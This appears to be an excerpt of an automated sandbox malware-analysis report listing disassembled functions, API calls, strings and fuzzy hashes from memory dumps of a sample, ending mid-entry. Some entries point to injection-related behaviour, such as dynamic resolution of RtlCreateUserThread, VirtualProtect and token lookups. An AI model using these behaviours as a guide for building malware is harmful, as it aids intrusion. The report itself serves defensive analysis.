_mtinitlocknum.LIBCMT ref: 03565568

Part of subcall function 0355F03F: _FF_MSGBANNER.LIBCMT ref: 0355F05C
Part of subcall function 0355F03F: _NMSG_WRITE.LIBCMT ref: 0355F066

_lock.LIBCMT ref: 0356557B
_lock.LIBCMT ref: 035655D6
_calloc_crt.LIBCMT ref: 0356568D

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _lock$_calloc_crt_mtinitlocknum
String ID:
API String ID: 3962633935-0
Opcode ID: 3f7d7383109a2b023e6d9ae3b720316474c0133ef7fa5bdb011a38a708de0ad6
Instruction ID: ff454658f5f5fe93ed4bbc2ffd01c34688428b6e41066f7f0d78eb2dc88feb5f
Opcode Fuzzy Hash: 3f7d7383109a2b023e6d9ae3b720316474c0133ef7fa5bdb011a38a708de0ad6
Instruction Fuzzy Hash: C751F670558B098FD718DF18E895265B7E4FB99310F150A9EE88BC7271EB34E942CBC2

Function 03544937 Relevance: 7.7, APIs: 6, Instructions: 175COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 03544981

Part of subcall function 0355A66F: _FF_MSGBANNER.LIBCMT ref: 0355A69F
Part of subcall function 0355A66F: _NMSG_WRITE.LIBCMT ref: 0355A6A9
Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A6DD
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6E8
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6F3

malloc.LIBCMT ref: 0354498C

Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A703
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A708

free.LIBCMT ref: 03544A73
free.LIBCMT ref: 03544A7B
free.LIBCMT ref: 03544A87
free.LIBCMT ref: 03544A94

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc
String ID:
API String ID: 2761444284-0
Opcode ID: ddbb960c4c1ee8468c6250dc08bf5515ef5a4ba7345911af3a06a17fc36967dd
Instruction ID: 45cd164caa81ada7534d1412b0e0fd97d93be906a21f5a2cdc87452d9a4b7a43
Opcode Fuzzy Hash: ddbb960c4c1ee8468c6250dc08bf5515ef5a4ba7345911af3a06a17fc36967dd
Instruction Fuzzy Hash: 9A41F57561CB0E4BD72DEA6A684663B72DAFBD6254714026ED887C3222EE20D80787C5

Function 0355C044 Relevance: 7.7, APIs: 5, Instructions: 169COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0355BF3E
memcpy_s.LIBCMT ref: 0355C003
_fileno.LIBCMT ref: 0355C06E

Part of subcall function 03560C3B: _errno.LIBCMT ref: 03560C44
Part of subcall function 03560C3B: _invalid_parameter_noinfo.LIBCMT ref: 03560C4F

Part of subcall function 0356211F: __doserrno.LIBCMT ref: 03562159
Part of subcall function 0356211F: _errno.LIBCMT ref: 03562160

_filbuf.LIBCMT ref: 0355C09C
_errno.LIBCMT ref: 0355C0EC

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$_invalid_parameter_noinfo$__doserrno_filbuf_filenomemcpy_s
String ID:
API String ID: 1812282339-0
Opcode ID: 8b1461345f166dcaacafda40ee5fb0560b219fd4bf31384df6ca32e7d4f873f7
Instruction ID: 5d750fb2f1ae04abe1bbce01d8645831f0a309128be2f47c7c98dc05aea1cf4f
Opcode Fuzzy Hash: 8b1461345f166dcaacafda40ee5fb0560b219fd4bf31384df6ca32e7d4f873f7
Instruction Fuzzy Hash: 5A41943636CB054B962CD62C6469139B2D1F7D5721718072FE89AC32B1DE60F85286C6

Function 0355D4DB Relevance: 7.6, APIs: 5, Instructions: 149COMMONLIBRARYCODE

Download Yara Rule

APIs

_fileno.LIBCMT ref: 0355D4F8

Part of subcall function 03560C3B: _errno.LIBCMT ref: 03560C44
Part of subcall function 03560C3B: _invalid_parameter_noinfo.LIBCMT ref: 03560C4F

_errno.LIBCMT ref: 0355D508

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

_errno.LIBCMT ref: 0355D524
_isatty.LIBCMT ref: 0355D585
_getbuf.LIBCMT ref: 0355D591

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$_fileno_getbuf_getptd_noexit_invalid_parameter_noinfo_isatty
String ID:
API String ID: 304646821-0
Opcode ID: a7a29ed1146a2838a1a953b545c0c20c3df8c09792cabfb42726ced0f4b7ec54
Instruction ID: 12ea584ec754801970c8220f137ccd6f3ff7f910967738d0a4d2c109ccc50dbb
Opcode Fuzzy Hash: a7a29ed1146a2838a1a953b545c0c20c3df8c09792cabfb42726ced0f4b7ec54
Instruction Fuzzy Hash: C341C371114B094FDB58EF6CE4E162577F0FB88314F58069AEC5ACB2A6E674E881C7C1

Function 03556BE3 Relevance: 7.6, APIs: 6, Instructions: 142COMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 03556C12

Part of subcall function 0355A66F: _FF_MSGBANNER.LIBCMT ref: 0355A69F
Part of subcall function 0355A66F: _NMSG_WRITE.LIBCMT ref: 0355A6A9
Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A6DD
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6E8
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6F3

_snprintf.LIBCMT ref: 03556C2A

Part of subcall function 0355AA23: _errno.LIBCMT ref: 0355AA5A
Part of subcall function 0355AA23: _invalid_parameter_noinfo.LIBCMT ref: 0355AA65

free.LIBCMT ref: 03556C41

Part of subcall function 0355A62F: _errno.LIBCMT ref: 0355A64F

malloc.LIBCMT ref: 03556C91
_snprintf.LIBCMT ref: 03556CA9
free.LIBCMT ref: 03556CD1

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$_snprintffreemalloc$_callnewh_invalid_parameter_noinfo
String ID:
API String ID: 761449704-0
Opcode ID: 7769da5689e5036543463322d8dc2953687d35e842421fa7a79a909f037a7b7e
Instruction ID: b7058eee65ef5992ecc5daa99e0bd70fd8ce7dab66ff7b464e69fd15658776d5
Opcode Fuzzy Hash: 7769da5689e5036543463322d8dc2953687d35e842421fa7a79a909f037a7b7e
Instruction Fuzzy Hash: 6731862071CA8D0FD769EB6C782527477E2F789310784569FE48EC3266EE24EC5287C5

Function 009AC5CC Relevance: 7.6, APIs: 5, Instructions: 124COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009AC604

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

_invalid_parameter_noinfo.LIBCMT ref: 009AC60F
_flush.LIBCMT ref: 009AC6C1
_fileno.LIBCMT ref: 009AC6E2
_flsbuf.LIBCMT ref: 009AC725

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno_fileno_flsbuf_flush_getptd_noexit_invalid_parameter_noinfo
String ID:
API String ID: 1640621425-0
Opcode ID: f89985f424ce9c22c43889eabc5058f2aa413770285343a9214468ff08af004a
Instruction ID: 79faf5b4c66204adae0e0b3514c6f4fac557a2357577a1875704a8ce8ba80ad4
Opcode Fuzzy Hash: f89985f424ce9c22c43889eabc5058f2aa413770285343a9214468ff08af004a
Instruction Fuzzy Hash: 033168B130078586DE28DE27964022EB655FB46FE0F189630DF664FB81EB7CC88187C0

Function 009954F0 Relevance: 7.6, APIs: 6, Instructions: 114COMMONLIBRARYCODE

Download Yara Rule

APIs

malloc.LIBCMT ref: 0099553A

Part of subcall function 009AB228: _FF_MSGBANNER.LIBCMT ref: 009AB258
Part of subcall function 009AB228: _NMSG_WRITE.LIBCMT ref: 009AB262
Part of subcall function 009AB228: HeapAlloc.KERNEL32 ref: 009AB27D
Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB296
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2A1
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2AC

malloc.LIBCMT ref: 00995545

Part of subcall function 009AB228: _callnewh.LIBCMT ref: 009AB2BC
Part of subcall function 009AB228: _errno.LIBCMT ref: 009AB2C1

free.LIBCMT ref: 0099562C
free.LIBCMT ref: 00995634
free.LIBCMT ref: 00995640
free.LIBCMT ref: 0099564D

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: free$_errno$_callnewhmalloc$AllocHeap
String ID:
API String ID: 996410232-0
Opcode ID: ad7a18b5cb1adff7d6ed1ba8d34c42f9090e139c4094cc48844a1b376a1b96a1
Instruction ID: 28aec28d9750f9c93480a0ec88d2e7cc2255e60442756d1ea42146bbbf172913
Opcode Fuzzy Hash: ad7a18b5cb1adff7d6ed1ba8d34c42f9090e139c4094cc48844a1b376a1b96a1
Instruction Fuzzy Hash: 9E312B22304B8546DF16EF2EA81472F6B59F7A6BC8F8A4021DD458B716EF38C947C300

Function 009B6A44 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

_LocaleUpdate::_LocaleUpdate.LIBCMT ref: 009B6AA6
_isleadbyte_l.LIBCMT ref: 009B6AD6
MultiByteToWideChar.KERNEL32 ref: 009B6B15
MultiByteToWideChar.KERNEL32 ref: 009B6B63
_errno.LIBCMT ref: 009B6B6D

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: ByteCharLocaleMultiWide$UpdateUpdate::__errno_isleadbyte_l
String ID:
API String ID: 2998201375-0
Opcode ID: acbc039f2ec1fa7f9a161c65c4e844387fcccdc5e67f3ee5a67b1b2bba6280d5
Instruction ID: c71268395cd3163f8a6f23afcb41e6d3105231877ac409bbcc2f3c1652938c1c
Opcode Fuzzy Hash: acbc039f2ec1fa7f9a161c65c4e844387fcccdc5e67f3ee5a67b1b2bba6280d5
Instruction Fuzzy Hash: A331A93231978086DB20CF15E6807A9BBB9F785FE4F188126EB8997B55DB3CD851CB00

Function 0354EC57 Relevance: 7.6, APIs: 5, Instructions: 90fileCOMMON

Download Yara Rule

APIs

malloc.LIBCMT ref: 0354EC78

Part of subcall function 0355A66F: _FF_MSGBANNER.LIBCMT ref: 0355A69F
Part of subcall function 0355A66F: _NMSG_WRITE.LIBCMT ref: 0355A6A9
Part of subcall function 0355A66F: _callnewh.LIBCMT ref: 0355A6DD
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6E8
Part of subcall function 0355A66F: _errno.LIBCMT ref: 0355A6F3

free.LIBCMT ref: 0354ECB3
fwrite.LIBCMT ref: 0354ECF4
fclose.LIBCMT ref: 0354ECFC
free.LIBCMT ref: 0354ED09

Part of subcall function 0355A62F: _errno.LIBCMT ref: 0355A64F

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno$free$_callnewhfclosefwritemalloc
String ID:
API String ID: 1696598829-0
Opcode ID: d33f83733c51049a4a4ade9dbf2abdbacb1bb332e5f6c2cf96a65aab921b9820
Instruction ID: e627948beb357ee2bb31f114f1c75fea06d1104a764745ae6f779f223a188730
Opcode Fuzzy Hash: d33f83733c51049a4a4ade9dbf2abdbacb1bb332e5f6c2cf96a65aab921b9820
Instruction Fuzzy Hash: B9218434628F0E4FC749F76CB46436DB2E1FBD8254F44066EA84EC72A4ED38E9018386

Function 0099D0D8 Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualProtect.KERNEL32 ref: 0099D168

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: bcda17cac5d93cdb5fe913a43640c64a51e0ba4b6faa5eba64cdacd32ab3e5c5
Instruction ID: a9db3b848d30421860ae17c58a2385a6443a9f5edc4f11e1185aa6785593b3b6
Opcode Fuzzy Hash: bcda17cac5d93cdb5fe913a43640c64a51e0ba4b6faa5eba64cdacd32ab3e5c5
Instruction Fuzzy Hash: 0531E12A71A65083FF3CAB2DF8803793366FB94B94F444516ED8A07266CF3CC8429790

Function 009A795C Relevance: 7.6, APIs: 5, Instructions: 58filememoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

VirtualQuery.KERNEL32 ref: 009A79A9
HeapDestroy.KERNEL32 ref: 009A79D6
VirtualFree.KERNEL32 ref: 009A79E9
VirtualFree.KERNEL32 ref: 009A7A00
UnmapViewOfFile.KERNEL32 ref: 009A7A15

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: Virtual$Free$DestroyFileHeapQueryUnmapView
String ID:
API String ID: 4268163748-0
Opcode ID: ecd707e202f996ff919fcabb4e169c036be23c3c50405656e62834dcfc0e3079
Instruction ID: 1fd430c47d9598658c97c40e3bea241410fa810d2a8eb7a32a18285d126aefd8
Opcode Fuzzy Hash: ecd707e202f996ff919fcabb4e169c036be23c3c50405656e62834dcfc0e3079
Instruction Fuzzy Hash: 07119632718A0092EE748B55FD4136EB368F786B94F588921EE4E57624DF3DCA42CB80

Function 035657DF Relevance: 7.5, APIs: 5, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 035657F0

Part of subcall function 0355CE57: _getptd_noexit.LIBCMT ref: 0355CE5B

__doserrno.LIBCMT ref: 035657E8

Part of subcall function 0355CDE7: _getptd_noexit.LIBCMT ref: 0355CDEB

Memory Dump Source

Source File: 00000000.00000002.4126576684.0000000003540000.00000040.00001000.00020000.00000000.sdmp, Offset: 03540000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3540000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno_errno
String ID:
API String ID: 2964073243-0
Opcode ID: cd4acc95bf5b09f8f8c2be26c9f395577a48a3f2471f550acbdcdd616af2d472
Instruction ID: bfe1dac9a4eb7fbaa7f1939a07c93c1b106b03531c1c3dc1f547110c9f61cf25
Opcode Fuzzy Hash: cd4acc95bf5b09f8f8c2be26c9f395577a48a3f2471f550acbdcdd616af2d472
Instruction Fuzzy Hash: DFF0F4301A4A4E8EC346E764DCA035832B0FF52325FA54B55E816CF5F0E77C2441C352

Function 009B6398 Relevance: 7.5, APIs: 5, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009B63A9

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

__doserrno.LIBCMT ref: 009B63A1

Part of subcall function 009AD9A0: _getptd_noexit.LIBCMT ref: 009AD9A4

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _getptd_noexit$__doserrno_errno
String ID:
API String ID: 2964073243-0
Opcode ID: cd4acc95bf5b09f8f8c2be26c9f395577a48a3f2471f550acbdcdd616af2d472
Instruction ID: 8a95e7c0eed802c01816d851685dc41982dee4beb8fe93b1bd34c439bd2cda32
Opcode Fuzzy Hash: cd4acc95bf5b09f8f8c2be26c9f395577a48a3f2471f550acbdcdd616af2d472
Instruction Fuzzy Hash: E3F0F0B270AA0489EB062F54CAC13AC36919BD1B71F954701E62F073E2C77C9442CA32

Function 0099D580 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135COMMONLIBRARYCODE

Download Yara Rule

Strings

%s!%s, xrefs: 0099D72F

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID:
String ID: %s!%s
API String ID: 0-2935588013
Opcode ID: d1dd4778a69ad9038696b18b5a84f60a207cd73a732bd85dd988b4e8d9e72639
Instruction ID: 40dec9cc6e277b9d3dcfdcac8c727d3a94d69403b4a4765c9988109d5dc35195
Opcode Fuzzy Hash: d1dd4778a69ad9038696b18b5a84f60a207cd73a732bd85dd988b4e8d9e72639
Instruction Fuzzy Hash: 2651ADBA202640C6DF24DFAAD0807A97365F388F98F458522EF9E47708DB3CC982C744

Function 009AAA24 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

GetTokenInformation.ADVAPI32 ref: 009AAAB9
LookupAccountSidA.ADVAPI32 ref: 009AAAFE
_snprintf.LIBCMT ref: 009AAB26

Strings

%s\%s, xrefs: 009AAB14

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AccountInformationLookupToken_snprintf
String ID: %s\%s
API String ID: 2107350476-4073750446
Opcode ID: e8f535f0c498490c4bdc1e4690b3115688fadedd2f6129859e505a1612886452
Instruction ID: 95abbcfa204b9525a3472d847fe564b791de894eab8f4068429a7785424c3991
Opcode Fuzzy Hash: e8f535f0c498490c4bdc1e4690b3115688fadedd2f6129859e505a1612886452
Instruction Fuzzy Hash: BE214A32204FC596EB20CF61E9547DA77A8F789B98F448526FA8D57B19DF38C209CB40

Function 009AB800 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 009AB851

Part of subcall function 009ADA10: _getptd_noexit.LIBCMT ref: 009ADA14

_invalid_parameter_noinfo.LIBCMT ref: 009AB85C

Strings

x86, xrefs: 009AB827
B, xrefs: 009AB888

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: _errno_getptd_noexit_invalid_parameter_noinfo
String ID: B$x86
API String ID: 1812809483-1233573079
Opcode ID: d81cd18daed7324077352a26b73286590cea42c1c2305b4db55e814308682461
Instruction ID: ca52635158f3d153e2f2fa7d40b1ce808ea4c3c2f76ac0837c353bb7c7466b29
Opcode Fuzzy Hash: d81cd18daed7324077352a26b73286590cea42c1c2305b4db55e814308682461
Instruction Fuzzy Hash: 15016D72614A4486EB109F16E44039AB665F799FE4F988321EF5817BA6CF3CC244CB40

Function 009A2B28 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 41libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 009A2B52
GetProcAddress.KERNEL32 ref: 009A2B62

Strings

ntdll.dll, xrefs: 009A2B3F
RtlCreateUserThread, xrefs: 009A2B58

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: RtlCreateUserThread$ntdll.dll
API String ID: 1646373207-2935400652
Opcode ID: 3f3881e51e27e694dbcc5c375b5778905f07784a660b123b8c5191d829aaba4f
Instruction ID: 5d8203bab4b4e7256877e26e678d67b3dff35012b418765b020350dbae0d5b63
Opcode Fuzzy Hash: 3f3881e51e27e694dbcc5c375b5778905f07784a660b123b8c5191d829aaba4f
Instruction Fuzzy Hash: E4012D32214F8482EB20CF55F984789B7B8F799B90F998179EA9D43B14DF38C595C700

Function 0099FF18 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 20libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 0099FF2D
GetProcAddress.KERNEL32 ref: 0099FF3D

Strings

IsWow64Process, xrefs: 0099FF33
kernel32, xrefs: 0099FF26

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsWow64Process$kernel32
API String ID: 1646373207-3789238822
Opcode ID: 731a3f4a3180ed4b639956c0023b506e8e51e63c1903fd8a6137ade375b55eae
Instruction ID: 74dd451a13c8289307f98ee2c6015f0e2ce1f95981fde1bc1c97d484ee0bb855
Opcode Fuzzy Hash: 731a3f4a3180ed4b639956c0023b506e8e51e63c1903fd8a6137ade375b55eae
Instruction Fuzzy Hash: 83E0866172170282EF05CB59F9A43A57368EB847A5F485434E91F46375EF3CC598C700

Function 009A1388 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32 ref: 009A1398
GetProcAddress.KERNEL32 ref: 009A13A8

Strings

kernel32, xrefs: 009A1391
Wow64RevertWow64FsRedirection, xrefs: 009A139E

Memory Dump Source

Source File: 00000000.00000002.4126095831.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: true

Associated: 00000000.00000002.4126095831.00000000009D1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009D7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DB000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.4126095831.00000000009DD000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_990000_7kSftA4Eoh.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 1646373207-3900151262
Opcode ID: 667aabc9b9536ce3034975af6a8499c6cf0a73ba4ecc93c21e81ad6850c911ed
